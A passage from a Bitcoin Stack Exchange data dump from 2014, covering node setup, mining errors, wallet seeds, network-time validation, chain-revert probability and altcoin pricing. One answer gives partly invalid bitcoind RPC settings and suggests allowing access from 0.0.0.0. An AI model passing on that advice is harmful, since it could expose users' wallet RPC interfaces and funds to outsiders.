href=&quot;https://litecointalk.org/index.php?topic=43.0&quot; rel=&quot;nofollow&quot;&gt;guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure your &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; are consistent across your PHP and &lt;code&gt;litecoin.conf&lt;/code&gt; because they aren't in your example. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2014-01-13T01:53:39.460" LastActivityDate="2014-01-13T01:53:39.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20470" PostTypeId="1" CreationDate="2014-01-13T02:06:02.960" Score="2" ViewCount="598" Body="&lt;p&gt;I am a bitcoin newbie. I am testing solo mining (I know it is not financial feasible in general). I installed bitcoind on Debian and it ran okay as far as I could tell. I've experienced a couple of problems. The size of the bitcoin data directory is still growing when I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;du -ks .bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ran&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and got information like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 80600,&#xA;    &quot;protocolversion&quot; : 70001,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 225436,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 9,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 4367876.00084220,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1389424771,&#xA;    &quot;keypoolsize&quot; : 103,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I ran&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getbalance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got 0.000000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is sometime,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply freeze and I have to use Ctrl-c to kill it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is I cannot connect to bitcoind using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./minerd --url http://127.0.0.1:8332 --userpass username:password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result I got is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-01-12 20:54:03] Binding thread 0 to cpu 0&#xA;[2014-01-12 20:54:04] Binding thread 1 to cpu 1&#xA;[2014-01-12 20:54:05] 2 miner threads started, using SHA256 'c' algorithm.&#xA;[2014-01-12 21:01:36] HTTP request failed: The requested URL returned error: 500&#xA;[2014-01-12 21:01:36] json_rpc_call failed, retry after 30 seconds&#xA;[2014-01-12 21:02:15] HTTP request failed: The requested URL returned error: 500&#xA;[2014-01-12 21:02:15] json_rpc_call failed, retry after 30 seconds&#xA;[2014-01-12 21:02:56] HTTP request failed: The requested URL returned error: 500&#xA;[2014-01-12 21:02:56] json_rpc_call failed, retry after 30 seconds&#xA;[2014-01-12 21:03:35] HTTP request failed: The requested URL returned error: 500&#xA;[2014-01-12 21:03:35] json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, I had to use Ctrl-c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12141" LastActivityDate="2014-12-09T17:01:58.627" Title="bitcoind getinfo or getbalance freeze" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20472" PostTypeId="2" ParentId="20467" CreationDate="2014-01-13T02:31:27.827" Score="5" Body="&lt;p&gt;Short answer: Yes, this is probably a bug in the block explorer.  &lt;a href=&quot;http://blockexplorer.com/testnet/address/n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU&quot; rel=&quot;noreferrer&quot;&gt;blockexplorer.com shows a positive balance.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the transactions shown there are &quot;strange&quot; (they presumably have non-standard scripts which someone was experimenting with), and this probably is tripping up the biteasy explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the notion of &quot;balance&quot; of an address only really makes sense when using &quot;standard&quot; transactions, where the output script says: to spend these coins, provide a public key whose hash is the address X, and a signature made by the corresponding private key.  For fancier transactions, &quot;balance&quot; gets more fuzzy.  For instance, I could make a transaction that requires signatures by two private keys, corresponding to addresses X and Y.  Should those coins be &quot;credited&quot; to both addresses, or neither?  Either way the books will not balance.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-13T02:31:27.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20474" PostTypeId="1" CreationDate="2014-01-13T02:42:51.887" Score="6" ViewCount="161" Body="&lt;p&gt;With the recent (early 2014) GHash.io concerns about that particular mining pool getting too big, many people have talk about what a powerful miner could do if it wanted to &quot;harm&quot; bitcoin or double-spend, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point someone pointed on that if you have 40% of the mining power, you have a 50% chance of reverting 6 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd have expected it to be (0.4 exp 7) (6 blocks + the next one) or something like that and not 50%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the formula to use to compute the &quot;harm&quot; that a malicious miner could do and how many blocks he could revert?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a page containing the formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://people.xiph.org/~greg/attack_success.html&quot;&gt;https://people.xiph.org/~greg/attack_success.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't put too many blocks otherwise the code will have a numeric overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But normally it's using the formula in the bitcoin paper and that page has been written by the person who came up with the concept of deterministic wallets (if I'm not mistaken). So I tend to think he knows what he's talking about.&lt;/p&gt;&#xA;" OwnerUserId="12149" LastEditorUserId="12149" LastEditDate="2014-01-13T12:41:47.420" LastActivityDate="2014-07-05T18:35:17.420" Title="What's the formula giving the % of succesfully maliciously messing the blockchain?" Tags="|blockchain|mining-pools|block|blockchain-fork|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20476" PostTypeId="1" CreationDate="2014-01-13T04:43:56.663" Score="1" ViewCount="59" Body="&lt;p&gt;Considering the value of bitcoin beside dollars there seems to be so many applications where a centralised bitcoin-like system may be ideal for internal accountancy and transfers, especially among micro financial institutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parsing a blockchain gives an overview of entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If mining was restricted to only specific people what other obstacles are there for &quot;private&quot; use of Bitcoin clone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any commercial or opensource entities doing this?&lt;/p&gt;&#xA;" OwnerUserId="5366" LastActivityDate="2014-01-13T07:17:19.553" Title="Is access to mining the only obstacle to centralised bitcoin-like currency?" Tags="|transactions|blockchain|banks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20477" PostTypeId="2" ParentId="19882" CreationDate="2014-01-13T04:49:55.537" Score="0" Body="&lt;p&gt;Clark Moody is what I choose for quick glance as it offers basic candlesticks, MA and orderbook but orderbook is not visualised (as far as I can see), anyways if You want deeper in both directions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tradingview.com&quot; rel=&quot;nofollow&quot;&gt;http://www.tradingview.com&lt;/a&gt; is the very robust advanced technical charting + all asset classes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btccharts.com&quot; rel=&quot;nofollow&quot;&gt;http://btccharts.com&lt;/a&gt; is very advanced bitcoin orderbook actually visualised&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;both have access to major Bitcoin exchanges, and are free.&lt;/p&gt;&#xA;" OwnerUserId="5366" LastActivityDate="2014-01-13T04:49:55.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20478" PostTypeId="2" ParentId="20163" CreationDate="2014-01-13T05:38:08.410" Score="2" Body="&lt;p&gt;I explain my recent experience with paper wallet. This might be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generated a paper wallet from coinbase and securely stored its private key in cloud. I also used blockchain.info to monitor the balance using the public key only (no private key is entered). And recently, I wanted to transfer few bitcoins from it to sell. I knew that if I import the private key in coinbase.com, it sweeps all the coins from that address and transfers all of them to a new address whose private key is managed by coinbase. Blockchain allows to import private key without sweep, but I did not want third parties to learn about my private key. So I thought of using Multibit client. I installed multibit client, exported all its private keys to a file, and added my private key to the end of the file and imported back. I see all my coins in multibit (1.6 BTC). So far good. Now I transferred, 0.5BTC to coinbase to sell them and multibit showed the balance as 1.1BTC, which is correct. But the watch only address in the blockchain started showing only 0.6. I got confused as the balance I expected was 1.1. So I carefully monitored the transaction and found that 0.5BTC was sent to my coinbase address and another 0.5 was sent to one more address which I didn't recognize. As multibit was still showing the correct balance I guessed that it might be one of the multibit address and I actually found it there. So, multibit actually took coins from my paper wallet address and put it in an address that was generated by multibit, which I did not expect. I was planning to use multibit only as a temporary solution and was planning to uninstall it after I transfer my BTC to coinbase. If I was not careful then I would have uninstalled multibit and deleted the wallet. Now I learnt how multibit works now, and I am not sure why it does like that. But a lesson learnt.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-13T05:38:08.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20479" PostTypeId="1" AcceptedAnswerId="20490" CreationDate="2014-01-13T05:40:07.793" Score="10" ViewCount="1688" Body="&lt;p&gt;Have any observations been made to conclude the accuracy of Bitcoin network time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to know if &lt;a href=&quot;http://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology&quot;&gt;NIST&lt;/a&gt; or any other authority has tracked the phenomenon.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2017-10-03T04:13:56.837" Title="How accurate is Bitcoin network time?" Tags="|timestamp|time|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20480" PostTypeId="2" ParentId="20451" CreationDate="2014-01-13T06:11:44.977" Score="2" Body="&lt;p&gt;That simply means you grabbed a new share from the pool.  In this case the share has a difficulty of 9, so it's essentially 9 shares at a difficulty of 1.&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2014-01-13T06:11:44.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20482" PostTypeId="1" CreationDate="2014-01-13T06:46:46.647" Score="5" ViewCount="5249" Body="&lt;p&gt;I was looking through an Electrum wallet file (from Electrum 1.9.6 for Windows if it matters) trying to understand what information was contained in it, and I couldn't initially figure out exactly where the private keys were stored (or even if they were perhaps stored in some other file).  I'm guessing the &quot;seed&quot; field in the default_wallet file contains sufficient information for the private keys, public keys, and 12 word mnemonic to be generated.  Am I right so far?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To experiment a bit more, I wanted to see if 2 wallet files that use the same 12 word mnemonic would be identical.  Not surprisingly, when I did not encrypt the wallets, the same mnemonic appeared to lead to identical wallet files.  However, I also tried encrypting each wallet with the same password, and to my surprise, the files had different values in the &quot;seed&quot; field.  This surprised me, so I'm wondering if this is expected behavior and why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="38" LastEditDate="2014-01-15T21:02:30.530" LastActivityDate="2021-09-01T08:18:42.817" Title="Why can the same 12 words produce different seeds in an Electrum wallet file?" Tags="|wallet|private-key|electrum|thin-clients|seed|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20483" PostTypeId="2" ParentId="20479" CreationDate="2014-01-13T07:10:05.497" Score="0" Body="&lt;p&gt;It is not accurate, times in bitcoin's network are medians of other nodes.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-13T07:10:05.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20486" PostTypeId="2" ParentId="20476" CreationDate="2014-01-13T07:17:19.553" Score="1" Body="&lt;p&gt;Mining is the part of the decentralizing, to make a centralized currency you simply need to skip the publicly maintained blockchain portion, which includes mining. But without the publicly maintained blockchain, you really have only have a database that keeps track of transactions.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-13T07:17:19.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20487" PostTypeId="1" AcceptedAnswerId="20488" CreationDate="2014-01-13T09:46:16.660" Score="14" ViewCount="6537" Body="&lt;p&gt;I would like to know what is the difference between a client and wallet.&lt;/p&gt;&#xA;" OwnerUserId="12157" LastEditorUserId="132" LastEditDate="2014-01-13T14:30:44.260" LastActivityDate="2019-10-01T14:06:17.627" Title="What's the difference between a bitcoin client and wallet?" Tags="|wallet|client|terminology|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20488" PostTypeId="2" ParentId="20487" CreationDate="2014-01-13T09:54:39.920" Score="18" Body="&lt;p&gt;A wallet is the collection of data needed in order to receive and spend bitcoins. Usually this includes key-pairs (private key, public key and the address that may be inferred from the public key) and funds associated with each key-pair in the form of spendable outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client on the other hand is the interface to the network. It handles all the communication, updates the wallet with incoming funds and uses information from the wallet to sign outgoing transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While theoretically the wallet could be implemented in a way that is client-agnostic, currently each client implements its own wallet format, blurring the distinction between wallet and client. There are however several projects that attempt to standardize the wallet format so that it can be used in several clients.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-13T09:54:39.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20489" PostTypeId="2" ParentId="20479" CreationDate="2014-01-13T11:29:03.407" Score="0" Body="&lt;p&gt;Essentially when a node finds a block, it broadcasts it with whatever timestamp it wants, so it doesn't mean it's accurate at all. Of course nodes are programmed not to do this, but it doesn't mean they can't. Other nodes are programmed to accept blocks with timestamps that &lt;em&gt;make sense&lt;/em&gt;: for example if I receive a block with a timestamp set to a period way into the future I'll probably dismiss it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not completely accurate but it's accurate enough because the majority of nodes are using the bitcoind node, which is programmed with a specific timestamp logic in mind to generate the timestamp based upon the median time of a node's peers which is sent in the version message when peers connect.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-13T11:39:33.460" LastActivityDate="2014-01-13T11:39:33.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20490" PostTypeId="2" ParentId="20479" CreationDate="2014-01-13T11:37:23.250" Score="12" Body="&lt;p&gt;From this blog post describing the &lt;a href=&quot;http://culubas.blogspot.com.es/2011/05/timejacking-bitcoin_802.html&quot;&gt;timejacking attack&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each node internally maintains a counter that represents the network time. This is based on the median time of a node's peers which is sent in the version message when peers connect. The network time counter reverts to the system time however if the median time differs by more than 70 minutes from the system time. A very reasonable way to estimate the median network time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So block timestamps are based on &quot;network time&quot; which is in turn one of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The median time advertised by peers (if between ±70 minutes from system time)&lt;/li&gt;&#xA;&lt;li&gt;System time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The network time is used to validate new blocks. As a precaution, nodes reject any block timestamp that is greater than 2 hours from the current network time. Block timestamps that are earlier than the median time of the past 11 blocks are also rejected. This validation puts upper and lower bounds on the acceptable range of block timestamps.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So block timestamps are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;lt; 2 hours from &quot;network time&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&gt; median of last 11 blocks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have to refresh my error propagation lessons, but I guess this leads to an accuracy at around ±3 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this is just an upper bound on error, but the actual question remains: what is the real blockchain accuracy? (which is a very interesting question.) The only way to be sure is actually tracking it and comparing with a known perfect timestamp. I don't know if anyone has ever done that before and couldn't find any references.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-13T11:45:30.857" LastActivityDate="2014-01-13T11:45:30.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20491" PostTypeId="2" ParentId="20470" CreationDate="2014-01-13T12:12:52.810" Score="1" Body="&lt;p&gt;Usually this type of conf file works :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=any_username&#xA;rpcpassword=any_password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if not then allow ip 127.0.0.1 in bitcoin.conf &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcusername=your_usename&#xA;rpcpassword=your_password&#xA;allowip=127.0.0.1&#xA;allowport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may help, you may also try allowing ip 0.0.0.0 if both of the above does not works&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-13T12:12:52.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20492" PostTypeId="1" AcceptedAnswerId="20554" CreationDate="2014-01-13T12:45:40.810" Score="3" ViewCount="1437" Body="&lt;p&gt;How to get these values?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Output Total&lt;/li&gt;&#xA;&lt;li&gt;Estimated Transaction Volume&lt;/li&gt;&#xA;&lt;li&gt;Transaction Fees&lt;/li&gt;&#xA;&lt;li&gt;Relayed by&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12159" LastEditorUserId="132" LastEditDate="2014-01-14T14:08:01.167" LastActivityDate="2014-01-14T14:43:33.067" Title="How to get full Block information like blockchain?" Tags="|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20493" PostTypeId="1" AcceptedAnswerId="20496" CreationDate="2014-01-13T13:13:01.890" Score="3" ViewCount="17627" Body="&lt;p&gt;I'm very new to Bitcoin so I apologize if this question is naive. I just downloaded the Bitcoin, Litecoin, and Dogecoin Qt clients and opened each of these apps. Consistent with their coin's valuation, the Dogecoin client syncing was fastest, taking 3 hours, Litecoin took 20hrs, and Bitcoin is still trying to sync for 3 days now (progress bar shows only 25% synced).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a 2012 MacBook Pro (10.7.5) and have a good internet connection in a major city.  Some questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a faster way to sync my Bitcoin wallet than what I described or is the Bitcoin Network just too popular now and one should expect a new wallet to take +10 days to establish?&lt;/li&gt;&#xA;&lt;li&gt;To begin with, is putting your own wallet on your computer not advised? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12039" LastActivityDate="2014-10-22T01:15:47.130" Title="Faster way to sync my new Bitcoin wallet?" Tags="|bitcoin-core|litecoin|mac|synchronization|dogecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20494" PostTypeId="2" ParentId="19211" CreationDate="2014-01-13T13:21:52.803" Score="1" Body="&lt;p&gt;Make sure you have a X session launched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either have it auto-login or manually walk over and login in.  Then try your mining script again.  This messed with me for a couple hours.&lt;/p&gt;&#xA;" OwnerUserId="12161" LastActivityDate="2014-01-13T13:21:52.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20495" PostTypeId="1" AcceptedAnswerId="20677" CreationDate="2014-01-13T13:48:16.067" Score="2" ViewCount="386" Body="&lt;p&gt;I'm trying to download the block chain and synchronize with the network (using Bitcoin-qt 0.8.6). I have a 2 year old wallet.dat file with a fractions worth of unconfirmed bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After over a day downloading the blocks folder has stopped increasing in size and is at 13.4GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the debug.log file the following messages are repeatedly shown.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stored orphan tx 8d724a...ad48cfb140 (mapsz 10001)&#xA;mapOrphan overflow, removed 1 tx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will then add another orphan transaction and then remove another one from the pool. The pool stays at 1001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should this be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message in the client says it has processed 0 of 280295 (estimated) blocks of history and that I am 162 weeks behind.&lt;/p&gt;&#xA;" OwnerUserId="12163" LastEditorUserId="12163" LastEditDate="2014-01-16T10:03:07.970" LastActivityDate="2014-01-16T14:39:19.437" Title="mapOrphan overflow, removed 1 tx" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20496" PostTypeId="2" ParentId="20493" CreationDate="2014-01-13T13:55:40.040" Score="3" Body="&lt;p&gt;The blockchain is available via Torrent now. You can download bootstrap.dat (14GB) this way and then process it locally, which in my case was much faster than syncing with network using Bitcoin-Qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;announcement&lt;/a&gt; and you can grab torrent file from &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;sourceforge&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10905" LastEditorUserId="2306" LastEditDate="2014-10-22T01:15:47.130" LastActivityDate="2014-10-22T01:15:47.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20498" PostTypeId="2" ParentId="20482" CreationDate="2014-01-13T14:20:19.143" Score="-2" Body="&lt;p&gt;The seed is the key that is taken to derive all your addresses deterministically. The encryption is to protect the seed &lt;a href=&quot;https://electrum.org/faq.html#wallet-encryption&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/faq.html#wallet-encryption&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/faq.html#seed&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/faq.html#seed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2014-01-13T21:09:38.520" LastActivityDate="2014-01-13T21:09:38.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20499" PostTypeId="2" ParentId="20383" CreationDate="2014-01-13T15:56:07.850" Score="0" Body="&lt;p&gt;Also, markets typically show the Lowest ask and the Highest Bid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see some of the depth of the market on charts like this&#xA;&lt;a href=&quot;http://www.bitcoincharts.com/markets/virtexCAD.html&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoincharts.com/markets/virtexCAD.html&lt;/a&gt; (should show where volume of buys and sells are)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between the Bid and the Ask is the Spread. Major financial markets have market makers. These people (mostly robots now) will buy and sell an inventory of stock and try to capture that spread to make a profit. The more liquid the market the tighter the spread gets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know there are no officail professional Bitcoin Market makers yet.&lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2014-01-13T15:56:07.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20500" PostTypeId="2" ParentId="20440" CreationDate="2014-01-13T16:17:59.613" Score="0" Body="&lt;p&gt;I think you need to take some time and do some reading about what Bitcoin is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask yourself, What are your goals with Bitcoin? Do you intend to simply own bitcoin? Why do you want to own it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your answer is, you want to own it because everyone is getting into it, you may want to reconsider what your trying to do.&lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2014-01-13T16:17:59.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20501" PostTypeId="2" ParentId="242" CreationDate="2014-01-13T16:25:06.200" Score="0" Body="&lt;p&gt;BitShrub.com is a &quot;Bitcoin Option Market&quot;  [BitShrub has closed down]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Calls and Puts can be sold or bought with other traders. The Option model is similar to traditional options, but with pricing in Bitcoin relative to the underlying fiat currency the option is written on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PUT option mechanics is explained here &lt;a href=&quot;https://secure.bitshrub.com/support/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://secure.bitshrub.com/support/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go short by selling a Call option, but the risk graph is very different when compared to buying a Put Option.&lt;/p&gt;&#xA;" OwnerUserId="12089" LastEditorUserId="10658" LastEditDate="2018-08-31T19:49:24.623" LastActivityDate="2018-08-31T19:49:24.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20504" PostTypeId="1" AcceptedAnswerId="20507" CreationDate="2014-01-13T16:58:39.527" Score="2" ViewCount="148" Body="&lt;p&gt;Is there an archive location or a place where I could be able to download only the first few hundred blocks of the block chain?&lt;/p&gt;&#xA;" OwnerUserId="6324" LastActivityDate="2014-01-13T17:12:19.513" Title="Download only first few blocks of blockchain" Tags="|blockchain|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20505" PostTypeId="1" CreationDate="2014-01-13T16:59:45.807" Score="3" ViewCount="13385" Body="&lt;p&gt;I have been mining coins for a long time (started with BTC/LTC years ago, moved to altcoins recently) and have realized I am not clear on the actual source of the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the exchanges deem the value of these coins? With all of these new alt-coins, do they not actually have a BTC/USD value unless they are added to an exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do buy/sell orders affect the coin price? If someone bought X amount of , that would cause the value to increase correct? Wouldn't they then just be able to turn around and resell what they just bought plus any they already had for a higher value?&lt;/p&gt;&#xA;" OwnerUserId="3862" LastEditorUserId="132" LastEditDate="2014-01-13T22:19:59.640" LastActivityDate="2019-02-01T06:28:49.343" Title="Where do these coins gain their value?" Tags="|exchanges|alternatives|exchange-rate|value|altcoin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20506" PostTypeId="2" ParentId="20505" CreationDate="2014-01-13T17:08:13.693" Score="8" Body="&lt;p&gt;This is really asking about basic trading economics: if I have some new product X, what price does it have? I can set a price and see if anyone buys it. If not, I might lower the price or auction it to see what someone might pay for it. That is the starting value, but it doesn't really mean much as it hasn't been field-tested (so to speak). If others think it is worth more, they will buy more; if others think it is worth less, they will not buy at the current price, so those trying to sell will lower their prices until they can agree on a price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you describe is a simple &lt;a href=&quot;https://en.wikipedia.org/wiki/Pump_and_dump&quot; rel=&quot;nofollow&quot;&gt;pump and dump&lt;/a&gt; operation, which could be done on any sort of traded commodity like stocks or cryptocurrencies (especially altcoins). If you can feign interest in something (in this case, an altcoin) so that the trade price goes up, then you might be able to turn a profit. Note, however, that this is a sort of fraud and can open you up to, at minimum, civil lawsuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a &quot;pump and dump&quot; will be easier on small markets, like altcoins, than on larger markets, like Bitcoin and Litecoin, because you have to buy up enough of the coin to start an upward trend that people will notice and buy into. If the market is large, you'd need huge resources in order to make an impact in the market.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-20T21:01:45.950" LastActivityDate="2014-02-20T21:01:45.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
